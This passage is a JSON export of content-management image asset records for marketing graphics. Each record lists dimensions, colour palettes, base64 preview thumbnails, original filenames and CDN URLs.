lnUaWGo04Xce9WJh1GDf1Wsx842tuNoC42gPq4IFTRQVyPCCEp7DgJJ79AGvYVxqtRPNVk8osuE2tmLOrkcDTSSEqTfcBYGkuz/EDfe3zc3cponw2BPjoAXXQghRHHSb9wEmlUKNeEoShSomkpuIxLl80z1TUeZMRQK7uISZ5GVZ6EB+X5OC01DHY08/PD+/S2mHnS41s5JhC9KARlQhiq64lUyTOoLcnHWqXliUmHu0bOhDaT/mIJPaocumt1/NRQjdvZy5vpX1mc8TA56KCvxYz9QSOCythgahK/5X7BFewmHUPtZkZsbbge9eO2dzJVr2Kq4gYTFbmMNxuZeDSAx+ViZWGB3Q+b7Kyt8/bVa34dHWbE12FFTBDG5HN0aYpw2VrwDP3MzNgTZsZdTA89ZspiwFOVx3S9kjmHnT9mf2d1aYWdtU28W3t4N/f897U3yyzNzyOojgnAlPodNr2C533tTI84mB8f5Tf3JPPj43i6LXhMJbxsq2XR/Qtrf62zu7GHd8t7lM09vBs7ftvd9c0jw9rLF+gxlOLq62BqxMnLCRcLL6ZY8MwwP/yY6bY6Xj+2s7b4lt3NA/Z3Dv3Z29hl868VPiwts/V+jf2dfd8oQRivCuk23GHM3o57yMncxDiLs7O8ffUHizPzvHo2xrJnhu0Pexx6/+HQ+5mDnUN2VtdZ8Ezx3NnP1NOnLMz9hkATeZzqK1F0GpT+X+O5c4DpcRdv5uZ5v7jM6tJ7VhZXWHv7gb3tj/x9+B8f9//hYHufrZVVXowNY625y/0KNW0NdQjKIr7GIImks6qMoZ42xvrtuEdH+HN2jtXFZTbebbC1fsD25kf2dz/x98G/R8DdQ7bereIedNCoLUFfJEN/MweBPuIY93wdVikZ7G7lia2bZ04Hr15M8/7PJdbfrbO9ccju9me8O5849H7yAz96P/sNJ519mLUKKuUy9PIs/gf7ATKJeJx+6wAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5e473b","foreground":"#fff","population":2.82,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#754229","foreground":"#fff","population":5.46,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#c0856a","foreground":"#fff","population":7.69,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#acb8cc","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#da997c","foreground":"#000","population":2.09,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9e7e66","foreground":"#fff","population":1.86,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c0856a","foreground":"#fff","population":7.69,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"elena-zykova.png","path":"images/sczeoy4w/production/7a774fd0b1b7768835ba0f7f312620daf87a2eb3-420x424.png","sha1hash":"7a774fd0b1b7768835ba0f7f312620daf87a2eb3","size":278763,"title":null,"uploadId":"pmGRSXgocVKgcM0yHQXOpB5JW4BUJBIq","url":"https://cdn.sanity.io/images/sczeoy4w/production/7a774fd0b1b7768835ba0f7f312620daf87a2eb3-420x424.png"} {"_createdAt":"2024-02-05T01:46:15Z","_id":"image-f5013c8ad422829280918a57ef23aab4813f619e-1200x630-png","_rev":"MkmgsAGxwT6Nx7jjOgEz7t","_type":"sanity.imageAsset","_updatedAt":"2024-02-05T01:46:15Z","assetId":"f5013c8ad422829280918a57ef23aab4813f619e","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MABfSh0v#kOx:zosO_}O0-xu%2MwE,$$$x","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAA7EAAAOxAGVKw4bAAADCUlEQVQokSXRW0/bBQCG8X4FAxPokR6Atiu0BXqCPz0fWLEUKANW6Bi00I5SoK2lkbXSzbKBsLnFTN0MiVmWLcNsAdGpMdELo8bEi3kxb4yamHjtR3hM5xf4Jc/7ipolM7QqZhGrEkjUl5B1pJB3ZmjX5lDq8yj1byLXlpB1lZFrKygNO+it9zG7jxGCx2Sm9nm8keTlTpR/7wQQNTC9OY3ZnqPXsYFFKNE/WMYydAWba5t+oUa3dZuzlhoGa51u2z49gx9jdD7D7jtmfuwW99JpfqjE+Gt3GJFUncDuzOMLbxEeu8ro+esEI+/gC9cJRnYJRg4IjN4kOHqbc+N3CY3dQwh9gsn1KX2uZ0RC77MdX+fRaoKTQhxRW/ssRmuWQW8J/0iV4eg1XMFtBjxvI/iv4QzewBXaY8C/h8N7gMN3B6vnPn3ux/S7jvA5b7N2LsfOZJJidL2RHKfHssKAu4jgK+MKVnAGGliNAc/VV8lGe41OUxWFroKqu45x4C5C6AmB8BMW/DX2fDH2fBOsDKX/37AB2p0FrENFrEOb2FxvYXdV6Req6Pu2UJ4tI+ks06bZenWKzXvIcOyUmQsnXJ/Y5HTYzpHPzq4riqhFEUdnSmN2rGF2bGC05dH35tGaCnSZSnR0b6LSFejU59EZSvRYbuAZeUTs4rfMJ7+jMn3Aw/AbPAgEqLrnETWJp5FrLqLWJ9EYllHpM0g0adpUGcTqHIrOdWy9WeL+FJmRFHORKpMzRyTSP7GY/YXZC59xKfQeC/53iXg+QvTa6xPIpZOoNXMotUnEqkWapIs0S1M0yy4jV68SEVLcTEzzdG2cw7UcxewRmfyvXC6+ZHzuexyB51i9z+nzfomouWUCtSyGritBh2EZiaYBLXJGtsQZxQpyTY6oc4nD5RgvasP8WF9i/8pTipXfKVT+ZGrhZ2zBrzF7vsLs/gJRU9t5WqVTiBVxxKp5WtsXaFGkaFU2sleRdWzgsWf5IDXDH7shfru1xIf1Uyr1v9mq/8Nc5gVC+Bv6vJ/T6z7hP3FyudCzyOOzAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3c4378","foreground":"#fff","population":2.12,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#041670","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#3c4378","foreground":"#fff","population":2.12,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#8a95c4","foreground":"#000","population":0.34,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcac4c","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9f6866","foreground":"#fff","population":0.86,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e14c11","foreground":"#fff","population":1.19,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Meet with Aiven Google Cloud Next (1).png","path":"images/sczeoy4w/production/f5013c8ad422829280918a57ef23aab4813f619e-1200x630.png","sha1hash":"f5013c8ad422829280918a57ef23aab4813f619e","size":266178,"uploadId":"v8lPImG8w758AYDfATnr6c5mdsWM1NPp","url":"https://cdn.sanity.io/images/sczeoy4w/production/f5013c8ad422829280918a57ef23aab4813f619e-1200x630.png"} {"_createdAt":"2023-12-18T10:09:55Z","_id":"image-a40467323cfcf1bfc0b18686519014bf18508625-1200x628-png","_rev":"Do3156plRwIXmiihO01KKb","_type":"sanity.imageAsset","_updatedAt":"2023-12-18T10:09:55Z","assetId":"a40467323cfcf1bfc0b18686519014bf18508625","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M15#V$T~xP*w0NpMtKtPs=A10#:$RNFi]{","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACUElEQVQokWWSa0/TcBhH9wUkgqzt2q1d7+2/G1vGQBCGr0xMjC8EAc0idza2wbp1FxgI6AuJiR/6GKYxJnyA5+TkOb/Us/QWM9JHnis7zKqfeaHtMZ89Iq03kIw2Ur6LbPZR7BGqM0F1bzG8G0K/R+hdYLhjVPeGjHOFbA1JzWa20b19/FKTsNxGVLqISg9RGWCJBMWMnwBNb0I1bLEcnuH4E7L+dzTvDtX9SmpO3cVfOKW6FrO0nrBcG7NUu6K6fo1fGpGxngItb8yr8ISNqIEf3pILHtCDH+ji56PhDoZ/QFBuIiptosWYYjUhWhxiRwmq3fsHzDgTNPca4V3wRtR5W9ijJAbo/rcp1BC/Hg13sMJDCottFpYuKL9MKC0PEZUhbnFAzktQrGQK1JwrXG/AWnDIu2ib94VPvI6O8f0E3b/DCB/+Myw9GnYoVmOCckw+uCDnxX8Ne6hWH+HHrIoma8E+K/4eq+ExtajJatSiFPawgntSM9IW89ouilEnY+2j2cdkzFPkfBM530Exu9PSqtmh4p+wIQ4QToOceY7hDIjCMbXiOSuiNf1talbaJKtuYVp1DO8IzTlB986wCzHuwhCnMMII+qhmC9Ns4NlNNPMcyUzIONfkg3vC4BLPi9HsPqk56QNWdpPA/4IbnWIEDayoM41SXJogKtc4xRGq1SGtt5Afd5nvoVhDNPf2z2TcGxRrMI2Xmklv8kLeIq3tks7Vmc/tIxnHaHaLrNsl6/ZRnR5Svk1ab0+PZHOAYo+n29O8ezL2JbKVIJsJvwF9SlQz3KQ3cgAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#653e65","foreground":"#fff","population":0.62,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#041f73","foreground":"#fff","population":0.39,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#1b2785","foreground":"#fff","population":8.69,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#be898e","foreground":"#000","population":4.82,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7982c1","foreground":"#fff","population":0.31,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#696e9c","foreground":"#fff","population":1.24,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1b2785","foreground":"#fff","population":8.69,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"One for all ebook.png","path":"images/sczeoy4w/production/a40467323cfcf1bfc0b18686519014bf18508625-1200x628.png","sha1hash":"a40467323cfcf1bfc0b18686519014bf18508625","size":170342,"uploadId":"AZTJyiAUqjYnPZoWZ3cKejSKpP2GN4Vh","url":"https://cdn.sanity.io/images/sczeoy4w/production/a40467323cfcf1bfc0b18686519014bf18508625-1200x628.png"} {"_createdAt":"2024-12-20T13:37:15Z","_id":"image-a21759c3f16d8a9990d4474fdd02268c3a13f571-1200x630-png","_rev":"Qw0TwPQaQ8aBM3BSTL2OdN","_type":"sanity.imageAsset","_updatedAt":"2024-12-20T13:37:15Z","assetId":"a21759c3f16d8a9990d4474fdd02268c3a13f571","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M9Q9[_0?N#~C#jW,5A}NKnT2$K%gRjMdSk","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAAsTAAALEwEAmpwYAAACcUlEQVR4nC2S23LaWBRE9f9fM5XyxHYSe4jjxGMTA7ZAgJCErkdHN2Qn6HIkYE2hycOuflvVvbu1QJ7wZIcXt/iyJUhawrRFpAqRKWTRIYsDruiZWw2zdYPpNuSRRLkTOucRFbzSyC1VLtGcQPGyTBjPXB4nNuPZlonuMdX9QefrmG24x/IV+qZhtqpZOi0yfqeOLHp3TOc+o8SSJvXQNm7F/dOGy89PfLj8zt/XD1zfPHH95YnLz/9yezdhqgfo5htzq2Ljn1P0ZEXHe/5GLWyUN6Xzp6jIQNt4Fd/HFh8H4D0fPt5zcXUG/xj04uobVzdjvj6YLDY7kryhKBVJ3iPznjz9xV44dN7P4TQ7UDzrMV9/rLj5pvNlNOPTPxNu714Y3evc3k25GT3z8Lhk62a8ZwWFzImTBlmckFlPmRS0vo5yHtFcccSwK6ZGyWRe8Kzn/NQzZkaBvt6xMAssM0JsXcok5beMKIIQmVTkbyeS/EiW1ZRCsPNsNC8+YXo9hq1Y2C2G3bK0FWtHYXrd0G4iSvbhZmhynyV/HLYkxRGZHYizniiu8cMKzZdH3FDh+C120OKECk/0+PGRIDkgsrOD3+yDFa0/o84Fb2VFWvTI7IhID3hxj+2rYQlaIDpCq8BZJRjrjJVT4scdccHwo2R3Ii8q9v6CfjNC+TOqTFLuakTace5g6TQYdsN626KFoiVcxVi6z+s8Ym5meKIlzk9/gEd2aUnjjDkaFxxWn1DeC2WSsQ0bXs2a6bIadGE1aIE8EEQ1frTHFRWebImyAzL/32F63psI6cwRzP/iZFygtmPe05xAdgNksqwGqG7W/AdAhSLUjMQqaAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2b2f36","foreground":"#fff","population":2.68,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#090e18","foreground":"#fff","population":0.09,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#2b2f36","foreground":"#fff","population":2.68,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#9ca2d2","foreground":"#000","population":0.52,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f2a871","foreground":"#000","population":0.27,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6c7480","foreground":"#fff","population":0.07,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e5544e","foreground":"#fff","population":0.11,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Compare_NEW.png","path":"images/sczeoy4w/production/a21759c3f16d8a9990d4474fdd02268c3a13f571-1200x630.png","sha1hash":"a21759c3f16d8a9990d4474fdd02268c3a13f571","size":180938,"uploadId":"WvGwWiN2jt18wwn04lFp4T19lUYqMxNj","url":"https://cdn.sanity.io/images/sczeoy4w/production/a21759c3f16d8a9990d4474fdd02268c3a13f571-1200x630.png"} {"_createdAt":"2023-12-18T09:50:07Z","_id":"image-7762e9396459db5dc8a756e2797aaa5609312b20-2400x1256-png","_rev":"Do3156plRwIXmiihO00Lv9","_type":"sanity.imageAsset","_updatedAt":"2023-12-18T09:50:07Z","assetId":"7762e9396459db5dc8a756e2797aaa5609312b20","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M15#V$T~$t*^0Nkvo@tQt8A10#:$RNFP]{","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":1256,"width":2400},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAAsTAAALEwEAmpwYAAACSUlEQVQokW2SWU8TYQBF+wckgHRmOtPOvn0zpS2lIEuKTyYm+iIV0BAWWVpKoduwtQjog8TEH32Mg+GJH3BPTu69mVfZBhPSZyaVTabUr0xrO7zOH5DVm2T1UySzi2wNUJxLVHeE6t1h+LeIoI/wzzG8K1Tvlpxzg2xfkJlUNtC9PUTlhKjaISh3EHN9wsoQ3e8hvwC0/BE10WZRnOAGI/LBTzT/HtX7TmZa3cQvHVNb7bNYT6iuJCzUb5hfHWPHwxeBtn/FijhiLW4SiDsK4SN6+As9+k1mKreJ4e8jKq3UMK52KdaGxPMXmKKPYvWegTl3hOaNifxz3kXbvC/uUo4S9OBHCjWiP0+GtjigWDultNil8mZIaTFBzCWpoeYOnoGae4PnJ6yG3/gQb/Cx+IW38SFBMEQP7jHE43/DYJ+wckI836FY6xGUe5jhOXmvS87uIVl9VHtAFHRZjlqshnssBbssi0PqcYvluE1ZDLDDBzITUoMZdQvF2Ea191CdQ3LWMbLZQjY7KFY3XVq1OlSDI9aifSK3ScE6w3ATYnFFffaMpaiddpuZktbJqw0sexvDP0Bzj9D9E5xiD690gVu8xAgHqFYby2riOy006wzJGpJzx5jhA0Jc4/s9NGdAZlr6hJ1fJwx28OJjjLCJHXfSUWYXRkTVMe7sJardIau3n1Y3+yj2BZp393QZ7xbFTtKuMxPZdV7LDbLaFtnCNjOFPSTjEM1ppx3mvQGq20cyT9Oj/wvJVoLiXKXf0/wHcs41sj1Etob8BaJDU9VZNnB7AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#673d62","foreground":"#fff","population":0.62,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#04207c","foreground":"#fff","population":0.12,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#1b2785","foreground":"#fff","population":8.93,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bd868a","foreground":"#000","population":4.74,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7780c0","foreground":"#fff","population":0.29,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#686d9b","foreground":"#fff","population":1.44,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1b2785","foreground":"#fff","population":8.93,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"One for all ebook.png","path":"images/sczeoy4w/production/7762e9396459db5dc8a756e2797aaa5609312b20-2400x1256.png","sha1hash":"7762e9396459db5dc8a756e2797aaa5609312b20","size":391858,"uploadId":"vx5DtFQxkvkBsQ7ulWbbL7kebxXj384l","url":"https://cdn.sanity.io/images/sczeoy4w/production/7762e9396459db5dc8a756e2797aaa5609312b20-2400x1256.png"} {"_createdAt":"2024-04-08T15:08:21Z","_id":"image-6d65358c2ad6d19bd3a6d026e15df81961bebb67-1200x628-png","_rev":"wa1GVUTtyutp0WKCzOq1U3","_type":"sanity.imageAsset","_updatedAt":"2024-04-08T15:08:21Z","assetId":"6d65358c2ad6d19bd3a6d026e15df81961bebb67","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M99%DU0wo@{y14}ZKjNM+r6TN6s}n:ogV=","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAAChUlEQVQokXXR209SAQDH8fMHpOWFwxEB4aAiJEeTi1dAOQIiIgLeKi+w0FLTAkllluYllTnTtVpbbba19dBLtVZ/Qv9Ej/0j30brpYcevq+f/bafUC2lMFhuY1UWsHes0Opcw+Fep+VGHrM9h6E5jySXKyBZiii2PLvdQ/wIy3xOxtjIvmMq/Ql/5BKb+zVCrX4KW/sifYEC3sEtega26A/vog4f4g8f4vHt0agUMVg30Vu38TpWuPS7+RWr4keqk+JEjkQsRyCwgc15hiAab9LRtUokvkMk/hR/6DHq8B6jE6fExs8IjpzSqx7j9h2hdB0x5LrP+34nP6Mi34YU7gWGSQxGGRq4g63jGKGmfoqWtkW6+9fpGdigvStPW2eBnsAOfeo+3QMH9A2e4A2d4vaVCLkfcuH18T1o5SDgYmQwSDQeJxRdxu4pIVSK45RRyTSDTp5HMmWQTFn0TcsYmx9gtK5jvr6JxbGNuXUHjyNPoWuUg/5OYqoXd2qMcHaO4O2HtPpKCFdqk5Sr0IxTqZ3iWt0M1bo0NfostYYlxIZVRFMO7d9TWuzbpPpy3FIn8QRD+NMzZDZXmV7epEMtIVRoUpSrFCe4Kk1TpZuhuj5NrWEBjXEJrWkNrTmHZHlEXWORRuUZoehbJidPGBmbJ7O0RHFvm9nVJ7QHThCuapJopRQ64zR15jk0xnmq6zN/FpZBseFf0KIco8Y/Mpv9Smb+OfeyBVbWN4ikn2DtLSHUiAmaDElabXNYlbvoG7PU6P8Pmuz7uPxviIx/IZr6gDpyiDexhRI+QHadI1SJCfS6JGb5Fsbm8iFl7P+g3rqL7DjB5nqB3fOKJuc5susU2XmB3PaS3yexb6Pph/+1AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2a4a60","foreground":"#fff","population":2.43,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#041474","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#232d95","foreground":"#fff","population":7.63,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#212a77","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#6e79d7","foreground":"#fff","population":4.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7e9cb4","foreground":"#fff","population":0.79,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#232d95","foreground":"#fff","population":7.63,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Workshop KafkaPython JayMiller social media (1200x628).png","path":"images/sczeoy4w/production/6d65358c2ad6d19bd3a6d026e15df81961bebb67-1200x628.png","sha1hash":"6d65358c2ad6d19bd3a6d026e15df81961bebb67","size":317229,"uploadId":"PXv7ayQ3FETaQYUb9EhBZ0MVLlnPkj6L","url":"https://cdn.sanity.io/images/sczeoy4w/production/6d65358c2ad6d19bd3a6d026e15df81961bebb67-1200x628.png"} {"_createdAt":"2024-02-15T12:02:57Z","_id":"image-e532c7ca34da3022ec33daf66e6567aa05f2dec6-2713x1772-png","_rev":"UjGmMOs0V2SxB808hyoKiI","_type":"sanity.imageAsset","_updatedAt":"2024-02-15T12:02:57Z","assetId":"e532c7ca34da3022ec33daf66e6567aa05f2dec6","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VDM7r#M_00t800_4WCaJad4n00oe_3bb_3IUay%Mj[j[","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.5310383747178329,"height":1772,"width":2713},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAANCAYAAACpUE5eAAAACXBIWXMAAAsTAAALEwEAmpwYAAADbklEQVQ4jV2TX0xTVxzHO7csW2Liw9zDHrY497CFF9+2zCybPkymDFLablAo99pWSTS4BxvmnxJD0fiG7srD3CLWNYU6irQQZkZb7ZwJ0I7NzSoqUBje04uDIqX39v47/5ZeMob+ku/J9/xyziff80uOybRWL7/z9radH+38sO3zqqoLZrOZM5trudraWs5isXBWq5VjGIZrbW3lOjp83OmODs7na+d87e0XvN6T5w4fPnTAZrW8ZdpQm/d9Vuk+e+ZMOhKJCLFYnB8ZiYFYLAbi8ThIJBIgmUyCsbFxMDExYSiVGgfpdDoXj8fnOe6bnv1s0/sbgVuaGh2e/r6wkAOAiqJEV1dXabFYpKIoGvrPS5Jk+KcrT40z2WyW9AQDN91OZpfJZHphHehinUeHI0P88mKeQgiRBnWMMMKEEEPlQqi8EgwhxLIiY03XiSAIMPxjb8LtbHwWyLJOz7X+KAC8QEVJwqIsEUVTiA4hgRASXdcNIYRIGSSKIpFlmQLAo76rwYSLqXsW6GCdnlB/FPwNFqhUKuGSWqKqrpbTUoQQ1XVoCCFs9GRZJoqiGsCrvYEE22h5DsiwnlD4Gpjnc7Qky1jWZKLqqpGunGpjwvIkNE0jmqZTwD9GoaA/4airfv7JzNH+gTAQFnJU0zWsQpWoUCMQIYIQNsBlGUPEa/tyX8gBGAp2J+y2yv+Bmza9tKXR0eDp6Q3kpqYf0qX8EikUC1SRS0RVFKIpKtEUxfBQ04iuKnS1UKD5/DJ9MHkfX7rI3bDV7F4Djo6Ov+JoYrbZbFbvqVNts37/ZTkajZT++G1cfzI3TXKz0xhkZ/DiXJYIc7M4D3gizGbx7Vu31HA4XPr+u4vFrz1fxe1fVNd0dXVtNV25EnjtpLdtR329vbnBbv/W5XQFjh/z9P00cOmvyfSgmBkdXL6XvJ6fSsal+7d/WX74553inXRq6XJ3968tLUd6WJb9ocFed7b5oLu689z5ClNn5/lXT5zwvu50Hdhusdoq9lTurfAec38weqPr+OSEf/jRmD80/XMoODU8cH3q5kjvo8zdaCaTCQ0ODbEMu3/H3n1VFfX19vdaWo682e47vXXjb1kvSuUXc/Opd+dmUtX8TGrX47vpj2d+T9fwD+59svhkYc8/S4ufrhRW3qCUrt/5stlnmH8BVkOW253eXYAAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#324c49","foreground":"#fff","population":0.03,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#660604","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f79c90","foreground":"#000","population":0.25,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c7bca3","foreground":"#000","population":0.24,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f79c90","foreground":"#000","population":0.25,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#b16781","foreground":"#fff","population":0.06,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#eac80b","foreground":"#000","population":0.1,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"laptop_with_console_view_g2_winter.png","path":"images/sczeoy4w/production/e532c7ca34da3022ec33daf66e6567aa05f2dec6-2713x1772.png","sha1hash":"e532c7ca34da3022ec33daf66e6567aa05f2dec6","size":231933,"uploadId":"XUNnCzSVjz3pOZqEJq1CRvduRL55kIBi","url":"https://cdn.sanity.io/images/sczeoy4w/production/e532c7ca34da3022ec33daf66e6567aa05f2dec6-2713x1772.png"} {"_createdAt":"2024-07-30T08:19:14Z","_id":"image-93e5885d06f0ee85d4ddff32a2ff0990ac5f153b-1096x1146-png","_rev":"O3DLOoQbsVaTpwy5wFtgzA","_type":"sanity.imageAsset","_updatedAt":"2024-07-30T08:19:14Z","assetId":"93e5885d06f0ee85d4ddff32a2ff0990ac5f153b","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eSMjzM?^9ZDi9EbKD%jEx]R*56sCjEozog~qM{X8xaRPIn%2RkRkt7","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.956369982547993,"height":1146,"width":1096},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAVCAYAAABG1c6oAAAACXBIWXMAAAsTAAALEwEAmpwYAAAFbUlEQVQ4jX2Ta2xcxRXHh5CER9pGOImQSJDapJ9gRYGU8FB5lFKJKEokQPABBC2PNhIfKoRAJCEyICjIIeJDRSklDmnrdQEnCAjEeEmKIAYcJ3Fsdr279nq9673PmfueuTNzX7530F1IS6WqI/3mzOPMX2fOzAHHjn26ZHKqvKJcqV1UqdR6ypVqT25zpqv1nnp9tmdmptG11Vq9pzL93z6VSvWicrnyw8nJM0s/Hj4CwMSZqbWtBf1uRce7NMR6v48Kaa+skS6K7nfnGsr5vh/thQZ5VIfWxna7vQyMj5/aVpvtvNdRfVU1FpFqpPAsC2oI600MK7MOrDZc2JQYVNAi1Mz/+GhmakArLiPTf1zX4UowNnbi4fJ0c6wlkURBaaqgbFFBWSqjNG1KQTpVs9PxSdilOkfSjr6Ynt3PUVAqVCO2dIP2IWSsBuMnT2+qN6Q/tmVvuKPxo5IWfCLrYUmG4ciCykfm2nikPueUanN2qdkhJUkPSgrs7pcUjeUcVSB7V9W936mqthJUKrUflI6dvub1/o8feWnvwZ19rxx68u1Do/fPNrXN0MC/1pB3m47wLToiN2kI36hC7yYN4pt11bwNNWa3oLnGFk1BN8uqsb7VbC4DlmX+6K/9H95+729eevXW25/65Febdxx+YucbL8w2OvcncXQPpXSr75PLDaRc8NnR/eeE8tgSaqM1sN3+ZXtq8oFO+ev7TEm6gdnmSrqjAIDneRtOnqq//Pq+j+RdvQeSZ54f4IePjEmu609mWTqRJMlnURTtIMRfJ4QAQkTnYIQu68xLL9TKjdJstXlEXVCe8g304/OKoitY0DRUnK42+amJupj6ek7IMhScB1mapiLLMp4kyaDv04KYGAV7+v6xtP+N9zcOFkf63hocGX77n6XDbw2Wdvxt/wfrQd5c1y2YplnUNI2ZpikwxhkhJOOcZ4uLi7lgmCTJEHHdK8WXAAwceG/1Q7/f+8C2u3rf3Xrn7rGtd+we3bxt16t33PPcdR8dGV3SjRBCWJRlmRmG8Z2gnwVBcFYwSOJoyF+Y+bl4cOn5lePHr9x/YHj/zt1vmn947M/BY4+/xp9+5kB535vD22VZXwE8Dxds2y7qOuRtBYlZychkaArXdfMoRZwkYRyGB+l8eRPbBi50mtVftFvq4TPHq8nowHFx4tCYmD7dsDoSfBG7eBVwPa8QBkGRMs5nFEd8XtOymQ4SCKHMsizhUxoGAR+itnHVvy4F5wbEvTYOog+cKSVq/enzDA6Mi7BjO3Ecv0wJXdPNYRAERc4DrlpEzChOplleN0LXdQWlNAzD8B3K+BV5zlkQXBMF0fvWtBY1+r/K5IMTgiuOHcfxnn8LYoyLjuNw0/EEcnBmu7griDEWuVocRUMUKVdPbwLLmAWv54x9aEM7kcotoc9IgjjYC4JgL6NsDfAwLj